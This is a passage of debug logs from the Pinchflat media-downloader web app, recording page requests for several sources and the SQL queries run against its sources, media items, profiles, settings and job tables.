s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:11.421 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=12.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 06:03:11.423 [debug] QUERY OK source="media_items" db=1.9ms idle=9.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:11.426 [debug] QUERY OK source="sources" db=0.5ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:03:11.428 [debug] QUERY OK source="media_items" db=1.7ms idle=8.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 06:03:11.432 [debug] QUERY OK source="media_items" db=2.8ms idle=9.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 06:03:11.436 [info] Sent 200 in 36ms 06:03:11.587 [info] GET /sources/34/edit 06:03:11.587 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:03:11.589 [debug] QUERY OK source="sources" db=0.5ms idle=167.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.590 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=166.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:11.591 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=164.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.592 [debug] QUERY OK source="settings" db=0.4ms idle=162.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.594 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=161.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.601 [info] Sent 200 in 14ms 06:03:11.758 [info] GET /sources/36 06:03:11.758 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 06:03:11.759 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=170.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:11.761 [debug] QUERY OK source="media_profiles" db=0.6ms idle=169.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:11.762 [debug] QUERY OK source="tasks" db=0.6ms idle=170.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 06:03:11.763 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=170.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 06:03:11.764 [debug] QUERY OK source="settings" db=0.3ms idle=169.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.764 [debug] QUERY OK source="settings" db=0.3ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.766 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.770 [debug] QUERY OK source="sources" db=0.5ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:11.772 [debug] QUERY OK source="media_items" db=1.2ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 06:03:11.774 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=8.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:11.776 [debug] QUERY OK source="sources" db=0.5ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:11.777 [debug] QUERY OK source="media_items" db=0.7ms idle=10.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [36] 06:03:11.778 [debug] QUERY OK source="media_items" db=1.3ms idle=7.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:11.782 [debug] QUERY OK source="sources" db=0.5ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:03:11.784 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=8.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [36] 06:03:11.786 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=8.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 06:03:11.789 [info] Sent 200 in 30ms 06:03:11.938 [info] GET /sources/34/ 06:03:11.938 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 06:03:11.939 [debug] QUERY OK source="sources" db=0.4ms idle=162.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.941 [debug] QUERY OK source="media_profiles" db=0.4ms idle=161.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:03:11.942 [debug] QUERY OK source="tasks" db=0.6ms idle=159.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 06:03:11.943 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=158.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 06:03:11.943 [debug] QUERY OK source="settings" db=0.2ms idle=157.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.944 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.946 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:11.950 [debug] QUERY OK source="sources" db=0.7ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.952 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 06:03:11.956 [debug] QUERY OK source="media_items" db=2.5ms queue=0.2ms idle=9.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:11.957 [debug] QUERY OK source="sources" db=0.6ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.959 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=11.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 06:03:11.960 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=9.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 06:03:11.963 [debug] QUERY OK source="sources" db=0.3ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 06:03:11.965 [debug] QUERY OK source="media_items" db=2.0ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 06:03:11.968 [debug] QUERY OK source="media_items" db=2.1ms idle=8.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN 